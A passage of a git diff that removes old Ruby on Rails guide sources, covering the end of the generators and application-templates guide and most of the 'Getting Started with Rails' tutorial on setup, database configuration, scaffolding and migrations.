- hook_for :test_framework
-end
-</ruby>
-
-Now, when the helper generator is invoked and TestUnit is configured as the test framework, it will try to invoke both +Rails::TestUnitGenerator+ and +TestUnit::MyHelperGenerator+. Since none of those are defined, we can tell our generator to invoke +TestUnit::Generators::HelperGenerator+ instead, which is defined since it's a Rails generator. To do that, we just need to add:
-
-<ruby>
-# Search for :helper instead of :my_helper
-hook_for :test_framework, :as => :helper
-</ruby>
-
-And now you can re-run scaffold for another resource and see it generating tests as well!
-
-h3. Customizing Your Workflow by Changing Generators Templates
-
-In the step above we simply wanted to add a line to the generated helper, without adding any extra functionality. There is a simpler way to do that, and it's by replacing the templates of already existing generators, in that case +Rails::Generators::HelperGenerator+.
-
-In Rails 3.0 and above, generators don't just look in the source root for templates, they also search for templates in other paths. And one of them is +lib/templates+. Since we want to customize +Rails::Generators::HelperGenerator+, we can do that by simply making a template copy inside +lib/templates/rails/helper+ with the name +helper.rb+. So let's create that file with the following content:
-
-<erb>
-module <%= class_name %>Helper
- attr_reader :<%= plural_name %>, <%= plural_name.singularize %>
-end
-</erb>
-
-and revert the last change in +config/application.rb+:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.template_engine :erb
- g.test_framework :test_unit, :fixture => false
- g.stylesheets false
-end
-</ruby>
-
-If you generate another resource, you can see that we get exactly the same result! This is useful if you want to customize your scaffold templates and/or layout by just creating +edit.html.erb+, +index.html.erb+ and so on inside +lib/templates/erb/scaffold+.
-
-h3. Adding Generators Fallbacks
-
-One last feature about generators which is quite useful for plugin generators is fallbacks. For example, imagine that you want to add a feature on top of TestUnit like "shoulda":https://github.com/thoughtbot/shoulda does. Since TestUnit already implements all generators required by Rails and shoulda just wants to overwrite part of it, there is no need for shoulda to reimplement some generators again, it can simply tell Rails to use a +TestUnit+ generator if none was found under the +Shoulda+ namespace.
-
-We can easily simulate this behavior by changing our +config/application.rb+ once again:
-
-<ruby>
-config.generators do |g|
- g.orm :active_record
- g.template_engine :erb
- g.test_framework :shoulda, :fixture => false
- g.stylesheets false
-
- # Add a fallback!
- g.fallbacks[:shoulda] = :test_unit
-end
-</ruby>
-
-Now, if you create a Comment scaffold, you will see that the shoulda generators are being invoked, and at the end, they are just falling back to TestUnit generators:
-
-<shell>
-$ rails generate scaffold Comment body:text
- invoke active_record
- create db/migrate/20091120151323_create_comments.rb
- create app/models/comment.rb
- invoke shoulda
- create test/unit/comment_test.rb
- create test/fixtures/comments.yml
- route resources :comments
- invoke scaffold_controller
- create app/controllers/comments_controller.rb
- invoke erb
- create app/views/comments
- create app/views/comments/index.html.erb
- create app/views/comments/edit.html.erb
- create app/views/comments/show.html.erb
- create app/views/comments/new.html.erb
- create app/views/comments/_form.html.erb
- create app/views/layouts/comments.html.erb
- invoke shoulda
- create test/functional/comments_controller_test.rb
- invoke my_helper
- create app/helpers/comments_helper.rb
- invoke shoulda
- create test/unit/helpers/comments_helper_test.rb
-</shell>
-
-Fallbacks allow your generators to have a single responsibility, increasing code reuse and reducing the amount of duplication.
-
-h3. Application Templates
-
-Now that you've seen how generators can be used _inside_ an application, did you know they can also be used to _generate_ applications too? This kind of generator is referred as a "template".
-
-<ruby>
-gem("rspec-rails", :group => "test")
-gem("cucumber-rails", :group => "test")
-
-if yes?("Would you like to install Devise?")
- gem("devise")
- generate("devise:install")
- model_name = ask("What would you like the user model to be called? [user]")
- model_name = "user" if model_name.blank?
- generate("devise", model_name)
-end
-</ruby>
-
-In the above template we specify that the application relies on the +rspec-rails+ and +cucumber-rails+ gem so these two will be added to the +test+ group in the +Gemfile+. Then we pose a question to the user about whether or not they would like to install Devise. If the user replies "y" or "yes" to this question, then the template will add Devise to the +Gemfile+ outside of any group and then runs the +devise:install+ generator. This template then takes the users input and runs the +devise+ generator, with the user's answer from the last question being passed to this generator.
-
-Imagine that this template was in a file called +template.rb+. We can use it to modify the outcome of the +rails new+ command by using the +-m+ option and passing in the filename:
-
-<shell>
-$ rails new thud -m template.rb
-</shell>
-
-This command will generate the +Thud+ application, and then apply the template to the generated output.
-
-Templates don't have to be stored on the local system, the +-m+ option also supports online templates:
-
-<shell>
-$ rails new thud -m https://gist.github.com/722911.txt
-</shell>
-
-Whilst the final section of this guide doesn't cover how to generate the most awesome template known to man, it will take you through the methods available at your disposal so that you can develop it yourself. These same methods are also available for generators.
-
-h3. Generator methods
-
-The following are methods available for both generators and templates for Rails.
-
-NOTE: Methods provided by Thor are not covered this guide and can be found in "Thor's documentation":http://rdoc.info/github/wycats/thor/master/Thor/Actions.html
-
-h4. +plugin+
-
-+plugin+ will install a plugin into the current application.
-
-<ruby>
-plugin("dynamic-form", :git => "git://github.com/rails/dynamic-form.git")
-</ruby>
-
-Available options are:
-
-* +:git+ - Takes the path to the git repository where this plugin can be found.
-* +:branch+ - The name of the branch of the git repository where the plugin is found.
-* +:submodule+ - Set to +true+ for the plugin to be installed as a submodule. Defaults to +false+.
-* +:svn+ - Takes the path to the svn repository where this plugin can be found.
-* +:revision+ - The revision of the plugin in an SVN repository.
-
-h4. +gem+
-
-Specifies a gem dependency of the application.
-
-<ruby>
-gem("rspec", :group => "test", :version => "2.1.0")
-gem("devise", "1.1.5")
-</ruby>
-
-Available options are:
-
-* +:group+ - The group in the +Gemfile+ where this gem should go.
-* +:version+ - The version string of the gem you want to use. Can also be specified as the second argument to the method.
-* +:git+ - The URL to the git repository for this gem.
-
-Any additional options passed to this method are put on the end of the line:
-
-<ruby>
-gem("devise", :git => "git://github.com/plataformatec/devise", :branch => "master")
-</ruby>
-
-The above code will put the following line into +Gemfile+:
-
-<ruby>
-gem "devise", :git => "git://github.com/plataformatec/devise", :branch => "master"
-</ruby>
-
-h4. +gem_group+
-
-Wraps gem entries inside a group:
-
-<ruby>
-gem_group :development, :test do
- gem "rspec-rails"
-end
-</ruby>
-
-h4. +add_source+
-
-Adds a specified source to +Gemfile+:
-
-<ruby>
-add_source "http://gems.github.com"
-</ruby>
-
-h4. +application+
-
-Adds a line to +config/application.rb+ directly after the application class definition.
-
-<ruby>
-application "config.asset_host = 'http://example.com'"
-</ruby>
-
-This method can also take a block:
-
-<ruby>
-application do
- "config.asset_host = 'http://example.com'"
-end
-</ruby>
-
-Available options are:
-
-* +:env+ - Specify an environment for this configuration option. If you wish to use this option with the block syntax the recommended syntax is as follows:
-
-<ruby>
-application(nil, :env => "development") do
- "config.asset_host = 'http://localhost:3000'"
-end
-</ruby>
-
-h4. +git+
-
-Runs the specified git command:
-
-<ruby>
-git :init
-git :add => "."
-git :commit => "-m First commit!"
-git :add => "onefile.rb", :rm => "badfile.cxx"
-</ruby>
-
-The values of the hash here being the arguments or options passed to the specific git command. As per the final example shown here, multiple git commands can be specified at a time, but the order of their running is not guaranteed to be the same as the order that they were specified in.
-
-h4. +vendor+
-
-Places a file into +vendor+ which contains the specified code.
-
-<ruby>
-vendor("sekrit.rb", '#top secret stuff')
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-vendor("seeds.rb") do
- "puts 'in ur app, seeding ur database'"
-end
-</ruby>
-
-h4. +lib+
-
-Places a file into +lib+ which contains the specified code.
-
-<ruby>
-lib("special.rb", 'p Rails.root')
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-lib("super_special.rb") do
- puts "Super special!"
-end
-</ruby>
-
-h4. +rakefile+
-
-Creates a Rake file in the +lib/tasks+ directory of the application.
-
-<ruby>
-rakefile("test.rake", 'hello there')
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-rakefile("test.rake") do
- %Q{
- task :rock => :environment do
- puts "Rockin'"
- end
- }
-end
-</ruby>
-
-h4. +initializer+
-
-Creates an initializer in the +config/initializers+ directory of the application:
-
-<ruby>
-initializer("begin.rb", "puts 'this is the beginning'")
-</ruby>
-
-This method also takes a block:
-
-<ruby>
-initializer("begin.rb") do
- puts "Almost done!"
-end
-</ruby>
-
-h4. +generate+
-
-Runs the specified generator where the first argument is the generator name and the remaining arguments are passed directly to the generator.
-
-<ruby>
-generate("scaffold", "forums title:string description:text")
-</ruby>
-
-
-h4. +rake+
-
-Runs the specified Rake task.
-
-<ruby>
-rake("db:migrate")
-</ruby>
-
-Available options are:
-
-* +:env+ - Specifies the environment in which to run this rake task.
-* +:sudo+ - Whether or not to run this task using +sudo+. Defaults to +false+.
-
-h4. +capify!+
-
-Runs the +capify+ command from Capistrano at the root of the application which generates Capistrano configuration.
-
-<ruby>
-capify!
-</ruby>
-
-h4. +route+
-
-Adds text to the +config/routes.rb+ file:
-
-<ruby>
-route("resources :people")
-</ruby>
-
-h4. +readme+
-
-Output the contents of a file in the template's +source_path+, usually a README.
-
-<ruby>
-readme("README")
-</ruby>
diff --git a/railties/guides/source/getting_started.textile b/railties/guides/source/getting_started.textile
deleted file mode 100644
index bf6104b96b..0000000000
--- a/railties/guides/source/getting_started.textile
+++ /dev/null
@@ -1,1892 +0,0 @@
-h2. Getting Started with Rails
-
-This guide covers getting up and running with Ruby on Rails. After reading it,
-you should be familiar with:
-
-* Installing Rails, creating a new Rails application, and connecting your application to a database
-* The general layout of a Rails application
-* The basic principles of MVC (Model, View Controller) and RESTful design
-* How to quickly generate the starting pieces of a Rails application
-
-endprologue.
-
-WARNING. This Guide is based on Rails 3.1. Some of the code shown here will not
-work in earlier versions of Rails.
-
-h3. Guide Assumptions
-
-This guide is designed for beginners who want to get started with a Rails
-application from scratch. It does not assume that you have any prior experience
-with Rails. However, to get the most out of it, you need to have some
-prerequisites installed:
-
-* The "Ruby":http://www.ruby-lang.org/en/downloads language version 1.8.7 or higher
-
-TIP: Note that Ruby 1.8.7 p248 and p249 have marshaling bugs that crash Rails
-3.0. Ruby Enterprise Edition have these fixed since release 1.8.7-2010.02
-though. On the 1.9 front, Ruby 1.9.1 is not usable because it outright segfaults
-on Rails 3.0, so if you want to use Rails 3 with 1.9.x jump on 1.9.2 for smooth
-sailing.
-
-* The "RubyGems":http://rubyforge.org/frs/?group_id=126 packaging system
- ** If you want to learn more about RubyGems, please read the "RubyGems User Guide":http://docs.rubygems.org/read/book/1
-* A working installation of the "SQLite3 Database":http://www.sqlite.org
-
-Rails is a web application framework running on the Ruby programming language.
-If you have no prior experience with Ruby, you will find a very steep learning
-curve diving straight into Rails. There are some good free resources on the
-internet for learning Ruby, including:
-
-* "Mr. Neighborly's Humble Little Ruby Book":http://www.humblelittlerubybook.com
-* "Programming Ruby":http://www.ruby-doc.org/docs/ProgrammingRuby/
-* "Why's (Poignant) Guide to Ruby":http://mislav.uniqpath.com/poignant-guide/
-
-Also, the example code for this guide is available in the rails github:https://github.com/rails/rails repository
-in rails/railties/guides/code/getting_started.
-
-h3. What is Rails?
-
-Rails is a web application development framework written in the Ruby language.
-It is designed to make programming web applications easier by making assumptions
-about what every developer needs to get started. It allows you to write less
-code while accomplishing more than many other languages and frameworks.
-Experienced Rails developers also report that it makes web application
-development more fun.
-
-Rails is opinionated software. It makes the assumption that there is a "best"
-way to do things, and it's designed to encourage that way - and in some cases to
-discourage alternatives. If you learn "The Rails Way" you'll probably discover a
-tremendous increase in productivity. If you persist in bringing old habits from
-other languages to your Rails development, and trying to use patterns you
-learned elsewhere, you may have a less happy experience.
-
-The Rails philosophy includes several guiding principles:
-
-* DRY - "Don't Repeat Yourself" - suggests that writing the same code over and over again is a bad thing.
-* Convention Over Configuration - means that Rails makes assumptions about what you want to do and how you're going to
-do it, rather than requiring you to specify every little thing through endless configuration files.
-* REST is the best pattern for web applications - organizing your application around resources and standard HTTP verbs
-is the fastest way to go.
-
-h4. The MVC Architecture
-
-At the core of Rails is the Model, View, Controller architecture, usually just
-called MVC. MVC benefits include:
-
-* Isolation of business logic from the user interface
-* Ease of keeping code DRY
-* Making it clear where different types of code belong for easier maintenance
-
-h5. Models
-
-A model represents the information (data) of the application and the rules to
-manipulate that data. In the case of Rails, models are primarily used for
-managing the rules of interaction with a corresponding database table. In most
-cases, each table in your database will correspond to one model in your
-application. The bulk of your application's business logic will be concentrated
-in the models.
-
-h5. Views
-
-Views represent the user interface of your application. In Rails, views are
-often HTML files with embedded Ruby code that perform tasks related solely to
-the presentation of the data. Views handle the job of providing data to the web
-browser or other tool that is used to make requests from your application.
-
-h5. Controllers
-
-Controllers provide the "glue" between models and views. In Rails, controllers
-are responsible for processing the incoming requests from the web browser,
-interrogating the models for data, and passing that data on to the views for
-presentation.
-
-h4. The Components of Rails
-
-Rails ships as many individual components. Each of these components are briefly
-explained below. If you are new to Rails, as you read this section, don't get
-hung up on the details of each component, as they will be explained in further
-detail later. For instance, we will bring up Rack applications, but you don't
-need to know anything about them to continue with this guide.
-
-* Action Pack
- ** Action Controller
- ** Action Dispatch
- ** Action View
-* Action Mailer
-* Active Model
-* Active Record
-* Active Resource
-* Active Support
-* Railties
-
-h5. Action Pack
-
-Action Pack is a single gem that contains Action Controller, Action View and
-Action Dispatch. The "VC" part of "MVC".
-
-h6. Action Controller
-
-Action Controller is the component that manages the controllers in a Rails
-application. The Action Controller framework processes incoming requests to a
-Rails application, extracts parameters, and dispatches them to the intended
-action. Services provided by Action Controller include session management,
-template rendering, and redirect management.
-
-h6. Action View
-
-Action View manages the views of your Rails application. It can create both HTML
-and XML output by default. Action View manages rendering templates, including
-nested and partial templates, and includes built-in AJAX support. View
-templates are covered in more detail in another guide called "Layouts and
-Rendering":layouts_and_rendering.html.
-
-h6. Action Dispatch
-
-Action Dispatch handles routing of web requests and dispatches them as you want,
-either to your application or any other Rack application. Rack applications are
-a more advanced topic and are covered in a separate guide called "Rails on
-Rack":rails_on_rack.html.
-
-h5. Action Mailer
-
-Action Mailer is a framework for building e-mail services. You can use Action
-Mailer to receive and process incoming email and send simple plain text or
-complex multipart emails based on flexible templates.
-
-h5. Active Model
-
-Active Model provides a defined interface between the Action Pack gem services
-and Object Relationship Mapping gems such as Active Record. Active Model allows
-Rails to utilize other ORM frameworks in place of Active Record if your
-application needs this.
-
-h5. Active Record
-
-Active Record is the base for the models in a Rails application. It provides
-database independence, basic CRUD functionality, advanced finding capabilities,
-and the ability to relate models to one another, among other services.
-
-h5. Active Resource
-
-Active Resource provides a framework for managing the connection between
-business objects and RESTful web services. It implements a way to map web-based
-resources to local objects with CRUD semantics.
-
-h5. Active Support
-
-Active Support is an extensive collection of utility classes and standard Ruby
-library extensions that are used in Rails, both by the core code and by your
-applications.
-
-h5. Railties
-
-Railties is the core Rails code that builds new Rails applications and glues the
-various frameworks and plugins together in any Rails application.
-
-h4. REST
-
-Rest stands for Representational State Transfer and is the foundation of the
-RESTful architecture. This is generally considered to be Roy Fielding's doctoral
-thesis, "Architectural Styles and the Design of Network-based Software
-Architectures":http://www.ics.uci.edu/~fielding/pubs/dissertation/top.htm. While
-you can read through the thesis, REST in terms of Rails boils down to two main
-principles:
-
-* Using resource identifiers such as URLs to represent resources.
-* Transferring representations of the state of that resource between system components.
-
-For example, the following HTTP request:
-
-<tt>DELETE /photos/17</tt>
-
-would be understood to refer to a photo resource with the ID of 17, and to
-indicate a desired action - deleting that resource. REST is a natural style for
-the architecture of web applications, and Rails hooks into this shielding you
-from many of the RESTful complexities and browser quirks.
-
-If you'd like more details on REST as an architectural style, these resources
-are more approachable than Fielding's thesis:
-
-* "A Brief Introduction to REST":http://www.infoq.com/articles/rest-introduction by Stefan Tilkov
-* "An Introduction to REST":http://bitworking.org/news/373/An-Introduction-to-REST (video tutorial) by Joe Gregorio
-* "Representational State Transfer":http://en.wikipedia.org/wiki/Representational_State_Transfer article in Wikipedia
-* "How to GET a Cup of Coffee":http://www.infoq.com/articles/webber-rest-workflow by Jim Webber, Savas Parastatidis &
-Ian Robinson
-
-h3. Creating a New Rails Project
-
-If you follow this guide, you'll create a Rails project called <tt>blog</tt>, a
-(very) simple weblog. Before you can start building the application, you need to
-make sure that you have Rails itself installed.
-
-TIP: The examples below use # and $ to denote terminal prompts. If you are using Windows, your prompt will look something like c:\source_code>
-
-h4. Installing Rails
-
-In most cases, the easiest way to install Rails is to take advantage of RubyGems:
-
-<shell>
-Usually run this as the root user:
-# gem install rails
-</shell>
-
-TIP. If you're working on Windows, you can quickly install Ruby and Rails with
-"Rails Installer":http://railsinstaller.org.
-
-h4. Creating the Blog Application
-
-The best way to use this guide is to follow each step as it happens, no code or
-step needed to make this example application has been left out, so you can
-literally follow along step by step. If you need to see the completed code, you
-can download it from "Getting Started
-Code":https://github.com/mikel/getting-started-code.
-
-To begin, open a terminal, navigate to a folder where you have rights to create
-files, and type:
-
-<shell>
-$ rails new blog
-</shell>
-
-This will create a Rails application called Blog in a directory called blog.
-
-TIP: You can see all of the switches that the Rails application builder accepts
-by running
-<tt>rails new -h</tt>.
-
-After you create the blog application, switch to its folder to continue work
-directly in that application:
-
-<shell>
-$ cd blog
-</shell>
-
-In any case, Rails will create a folder in your working directory called
-<tt>blog</tt>. Open up that folder and explore its contents. Most of the work in
-this tutorial will happen in the <tt>app/</tt> folder, but here's a basic
-rundown on the function of each folder that Rails creates in a new application
-by default:
-
-|_.File/Folder|_.Purpose|
-|Gemfile|This file allows you to specify what gem dependencies are needed for your Rails application. See section on Bundler, below.|
-|README|This is a brief instruction manual for your application. You should edit this file to tell others what your application does, how to set it up, and so on.|
-|Rakefile|This file locates and loads tasks that can be run from the command line. The task definitions are defined throughout the components of Rails. Rather than changing Rakefile, you should add your own tasks by adding files to the lib/tasks directory of your application.|
-|app/|Contains the controllers, models, views and assets for your application. You'll focus on this folder for the remainder of this guide.|
-|config/|Configure your application's runtime rules, routes, database, and more.|
-|config.ru|Rack configuration for Rack based servers used to start the application.|
-|db/|Shows your current database schema, as well as the database migrations. You'll learn about migrations shortly.|
-|doc/|In-depth documentation for your application.|
-|lib/|Extended modules for your application (not covered in this guide).|
-|log/|Application log files.|
-|public/|The only folder seen to the world as-is. Contains the static files and compiled assets.|
-|script/|Contains the rails script that starts your app and can contain other scripts you use to deploy or run your application.|
-|test/|Unit tests, fixtures, and other test apparatus. These are covered in "Testing Rails Applications":testing.html|
-|tmp/|Temporary files|
-|vendor/|A place for all third-party code. In a typical Rails application, this includes Ruby Gems, the Rails source code (if you install it into your project) and plugins containing additional prepackaged functionality.|
-
-h4. Configuring a Database
-
-Just about every Rails application will interact with a database. The database
-to use is specified in a configuration file, +config/database.yml+. If you open
-this file in a new Rails application, you'll see a default database
-configuration using SQLite3. The file contains sections for three different
-environments in which Rails can run by default:
-
-* The +development+ environment is used on your development computer as you interact manually with the application.
-* The +test+ environment is used to run automated tests.
-* The +production+ environment is used when you deploy your application for the world to use.
-
-h5. Configuring an SQLite3 Database
-
-Rails comes with built-in support for "SQLite3":http://www.sqlite.org, which is
-a lightweight serverless database application. While a busy production
-environment may overload SQLite, it works well for development and testing.
-Rails defaults to using an SQLite database when creating a new project, but you
-can always change it later.
-
-Here's the section of the default configuration file
-(<tt>config/database.yml</tt>) with connection information for the development
-environment:
-
-<yaml>
-development:
- adapter: sqlite3
- database: db/development.sqlite3
- pool: 5
- timeout: 5000
-</yaml>
-
-NOTE: In this guide we are using an SQLite3 database for data storage, because
-it is a zero configuration database that just works. Rails also supports MySQL
-and PostgreSQL "out of the box", and has plugins for many database systems. If
-you are using a database in a production environment Rails most likely has an
-adapter for it.
-
-h5. Configuring a MySQL Database
-
-If you choose to use MySQL instead of the shipped SQLite3 database, your
-+config/database.yml+ will look a little different. Here's the development
-section:
-
-<yaml>
-development:
- adapter: mysql2
- encoding: utf8
- database: blog_development
- pool: 5
- username: root
- password:
- socket: /tmp/mysql.sock
-</yaml>
-
-If your development computer's MySQL installation includes a root user with an
-empty password, this configuration should work for you. Otherwise, change the
-username and password in the +development+ section as appropriate.
-
-h5. Configuring a PostgreSQL Database
-
-If you choose to use PostgreSQL, your +config/database.yml+ will be customized
-to use PostgreSQL databases:
-
-<yaml>
-development:
- adapter: postgresql
- encoding: unicode
- database: blog_development
- pool: 5
- username: blog
- password:
-</yaml>
-
-h5. Configuring an SQLite3 Database for JRuby Platform
-
-If you choose to use SQLite3 and are using JRuby, your +config/database.yml+ will
-look a little different. Here's the development section:
-
-<yaml>
-development:
- adapter: jdbcsqlite3
- database: db/development.sqlite3
-</yaml>
-
-h5. Configuring a MySQL Database for JRuby Platform
-
-If you choose to use MySQL and are using JRuby, your +config/database.yml+ will look
-a little different. Here's the development section:
-
-<yaml>
-development:
- adapter: jdbcmysql
- database: blog_development
- username: root
- password:
-</yaml>
-
-h5. Configuring a PostgreSQL Database for JRuby Platform
-
-Finally if you choose to use PostgreSQL and are using JRuby, your
-+config/database.yml+ will look a little different. Here's the development
-section:
-
-<yaml>
-development:
- adapter: jdbcpostgresql
- encoding: unicode
- database: blog_development
- username: blog
- password:
-</yaml>
-
-Change the username and password in the +development+ section as appropriate.
-
-TIP: You don't have to update the database configurations manually. If you look at the
-options of the application generator, you will see that one of the options
-is named <tt>--database</tt>. This option allows you to choose an adapter from a
-list of the most used relational databases. You can even run the generator
-repeatedly: <tt>cd .. && rails new blog --database=mysql</tt>. When you confirm the overwriting
- of the +config/database.yml+ file, your application will be configured for MySQL
-instead of SQLite.
-
-h4. Creating the Database
-
-Now that you have your database configured, it's time to have Rails create an
-empty database for you. You can do this by running a rake command:
-
-<shell>
-$ rake db:create
-</shell>
-
-This will create your development and test SQLite3 databases inside the
-<tt>db/</tt> folder.
-
-TIP: Rake is a general-purpose command-runner that Rails uses for many things.
-You can see the list of available rake commands in your application by running
-+rake -T+.
-
-h3. Hello, Rails!
-
-One of the traditional places to start with a new language is by getting some
-text up on screen quickly. To do this, you need to get your Rails application
-server running.
-
-h4. Starting up the Web Server
-
-You actually have a functional Rails application already. To see it, you need to
-start a web server on your development machine. You can do this by running:
-
-<shell>
-$ rails server
-</shell>
-
-This will fire up an instance of the WEBrick web server by default (Rails can
-also use several other web servers). To see your application in action, open a
-browser window and navigate to "http://localhost:3000":http://localhost:3000.
-You should see Rails' default information page:
-
-!images/rails_welcome.png(Welcome Aboard screenshot)!
-
-TIP: To stop the web server, hit Ctrl+C in the terminal window where it's
-running. In development mode, Rails does not generally require you to stop the
-server; changes you make in files will be automatically picked up by the server.
-
-The "Welcome Aboard" page is the _smoke test_ for a new Rails application: it
-makes sure that you have your software configured correctly enough to serve a
-page. You can also click on the _About your application’s environment_ link to
-see a summary of your application's environment.
-
-h4. Say "Hello", Rails
-
-To get Rails saying "Hello", you need to create at minimum a controller and a
-view. Fortunately, you can do that in a single command. Enter this command in
-your terminal:
-
-<shell>
-$ rails generate controller home index
-</shell>
-
-TIP: If you get a command not found error when running this command, you
-need to explicitly pass Rails +rails+ commands to Ruby: <tt>ruby
-\path\to\your\application\script\rails generate controller home index</tt>.
-
-Rails will create several files for you, including
-+app/views/home/index.html.erb+. This is the template that will be used to
-display the results of the +index+ action (method) in the +home+ controller.
-Open this file in your text editor and edit it to contain a single line of code:
-
-<code class="html">
-<h1>Hello, Rails!</h1>
-</code>
-
-h4. Setting the Application Home Page
-
-Now that we have made the controller and view, we need to tell Rails when we
-want "Hello Rails" to show up. In our case, we want it to show up when we
-navigate to the root URL of our site,
-"http://localhost:3000":http://localhost:3000, instead of the "Welcome Aboard"
-smoke test.
-
-The first step to doing this is to delete the default page from your
-application:
-
-<shell>
-$ rm public/index.html
-</shell>
-
-We need to do this as Rails will deliver any static file in the +public+
-directory in preference to any dynamic content we generate from the controllers.
-
-Now, you have to tell Rails where your actual home page is located. Open the
-file +config/routes.rb+ in your editor. This is your application's _routing
-file_ which holds entries in a special DSL (domain-specific language) that tells
-Rails how to connect incoming requests to controllers and actions. This file
-contains many sample routes on commented lines, and one of them actually shows
-you how to connect the root of your site to a specific controller and action.
-Find the line beginning with +root :to+, uncomment it and change it like the
-following:
-
-<ruby>
-Blog::Application.routes.draw do
-
- #...
- # You can have the root of your site routed with "root"
- # just remember to delete public/index.html.
- root :to => "home#index"
-</ruby>
-
-The +root :to => "home#index"+ tells Rails to map the root action to the home
-controller's index action.
-
-Now if you navigate to "http://localhost:3000":http://localhost:3000 in your
-browser, you'll see +Hello, Rails!+.
-
-NOTE. For more information about routing, refer to "Rails Routing from the
-Outside In":routing.html.
-
-h3. Getting Up and Running Quickly with Scaffolding
-
-Rails _scaffolding_ is a quick way to generate some of the major pieces of an
-application. If you want to create the models, views, and controllers for a new
-resource in a single operation, scaffolding is the tool for the job.
-
-h3. Creating a Resource
-
-In the case of the blog application, you can start by generating a scaffolded
-Post resource: this will represent a single blog posting. To do this, enter this
-command in your terminal:
-
-<shell>
-$ rails generate scaffold Post name:string title:string content:text
-</shell>
-
-The scaffold generator will build several files in your application, along with some
-folders, and edit <tt>config/routes.rb</tt>. Here's a quick overview of what it creates:
-
-|_.File |_.Purpose|
-|db/migrate/20100207214725_create_posts.rb |Migration to create the posts table in your database (your name will include a different timestamp)|
-|app/models/post.rb |The Post model|
-|test/fixtures/posts.yml |Dummy posts for use in testing|
-|app/controllers/posts_controller.rb |The Posts controller|
-|app/views/posts/index.html.erb |A view to display an index of all posts |
-|app/views/posts/edit.html.erb |A view to edit an existing post|
-|app/views/posts/show.html.erb |A view to display a single post|
-|app/views/posts/new.html.erb |A view to create a new post|
-|app/views/posts/_form.html.erb |A partial to control the overall look and feel of the form used in edit and new views|
-|app/helpers/posts_helper.rb |Helper functions to be used from the post views|
-|app/assets/stylesheets/scaffolds.css.scss |Cascading style sheet to make the scaffolded views look better|
-|app/assets/stylesheets/posts.css.scss |Cascading style sheet for the posts controller|
-|app/assets/javascripts/posts.js.coffee |CoffeeScript for the posts controller|
-|test/unit/post_test.rb |Unit testing harness for the posts model|
-|test/functional/posts_controller_test.rb |Functional testing harness for the posts controller|
-|test/unit/helpers/posts_helper_test.rb |Unit testing harness for the posts helper|
-|config/routes.rb |Edited to include routing information for posts|
-
-NOTE. While scaffolding will get you up and running quickly, the code it
-generates is unlikely to be a perfect fit for your application. You'll most
-probably want to customize the generated code. Many experienced Rails developers
-avoid scaffolding entirely, preferring to write all or most of their source code
-from scratch. Rails, however, makes it really simple to customize templates for
-generated models, controllers, views and other source files. You'll find more
-information in the "Creating and Customizing Rails Generators &
-Templates":generators.html guide.
-
-h4. Running a Migration
-
-One of the products of the +rails generate scaffold+ command is a _database
-migration_. Migrations are Ruby classes that are designed to make it simple to
-create and modify database tables. Rails uses rake commands to run migrations,
-and it's possible to undo a migration after it's been applied to your database.
-Migration filenames include a timestamp to ensure that they're processed in the
-order that they were created.
-
-If you look in the +db/migrate/20100207214725_create_posts.rb+ file (remember,
-yours will have a slightly different name), here's what you'll find:
-
-<ruby>
-class CreatePosts < ActiveRecord::Migration
- def change
- create_table :posts do |t|
- t.string :name
- t.string :title
- t.text :content
-
- t.timestamps
- end
- end
-end
-</ruby>
-
-The above migration creates a method named +change+ which will be called when you
-run this migration. The action defined in that method is also reversible, which
-means Rails knows how to reverse the change made by this migration, in case you
-want to reverse it at later date. By default, when you run this migration it
-creates a +posts+ table with two string columns and a text column. It also
-creates two timestamp fields to track record creation and updating. More
-information about Rails migrations can be found in the "Rails Database
-Migrations":migrations.html guide.
-
-At this point, you can use a rake command to run the migration:
-
-<shell>
-$ rake db:migrate
-</shell>
-
-Rails will execute this migration command and tell you it created the Posts
-table.
-
-<shell>
-== CreatePosts: migrating ====================================================
--- create_table(:posts)
- -> 0.0019s
-== CreatePosts: migrated (0.0020s) ===========================================
-</shell>
-
-NOTE. Because by default you're working in the development environment, this
-command will apply to the database defined in the +development+ section of your
-+config/database.yml+ file. If you would like to execute migrations in another
-environment, for instance in production, you must explicitly pass it when
-invoking the command: <tt>rake db:migrate RAILS_ENV=production</tt>.
-
-h4. Adding a Link
-
-To hook the posts up to the home page you've already created, you can add a link
-to the home page. Open +app/views/home/index.html.erb+ and modify it as follows:
-
-<ruby>
-<h1>Hello, Rails!</h1>
-<%= link_to "My Blog", posts_path %>
-</ruby>
-
-The +link_to+ method is one of Rails' built-in view helpers. It creates a
-hyperlink based on text to display and where to go - in this case, to the path
-for posts.
-
-h4. Working with Posts in the Browser
-
-Now you're ready to start working with posts. To do that, navigate to
-"http://localhost:3000":http://localhost:3000/ and then click the "My Blog"
-link:
-
-!images/posts_index.png(Posts Index screenshot)!
-
-This is the result of Rails rendering the +index+ view of your posts. There
-aren't currently any posts in the database, but if you click the +New Post+ link
-you can create one. After that, you'll find that you can edit posts, look at
-their details, or destroy them. All of the logic and HTML to handle this was
-built by the single +rails generate scaffold+ command.
-
-TIP: In development mode (which is what you're working in by default), Rails
-reloads your application with every browser request, so there's no need to stop
-and restart the web server.
-
-Congratulations, you're riding the rails! Now it's time to see how it all works.
-
-h4. The Model
-
-The model file, +app/models/post.rb+ is about as simple as it can get:
-
-<ruby>
-class Post < ActiveRecord::Base
-end
-</ruby>
-
-There isn't much to this file - but note that the +Post+ class inherits from
-+ActiveRecord::Base+. Active Record supplies a great deal of functionality to
-your Rails models for free, including basic database CRUD (Create, Read, Update,
-Destroy) operations, data validation, as well as sophisticated search support
-and the ability to relate multiple models to one another.
-
-h4. Adding Some Validation
-
-Rails includes methods to help you validate the data that you send to models.
-Open the +app/models/post.rb+ file and edit it:
-
-<ruby>
-class Post < ActiveRecord::Base
- validates :name, :presence => true
- validates :title, :presence => true,
- :length => { :minimum => 5 }
-end
-</ruby>
-
-These changes will ensure that all posts have a name and a title, and that the
-title is at least five characters long. Rails can validate a variety of
-conditions in a model, including the presence or uniqueness of columns, their
-format, and the existence of associated objects.
-
-h4. Using the Console
-
-To see your validations in action, you can use the console. The console is a
-command-line tool that lets you execute Ruby code in the context of your
-application:
-
-<shell>
-$ rails console
-</shell>
-
-TIP: The default console will make changes to your database. You can instead
-open a console that will roll back any changes you make by using <tt>rails console
---sandbox</tt>.
-
-After the console loads, you can use it to work with your application's models:
-
-<shell>
->> p = Post.new(:content => "A new post")
-=> #<Post id: nil, name: nil, title: nil,
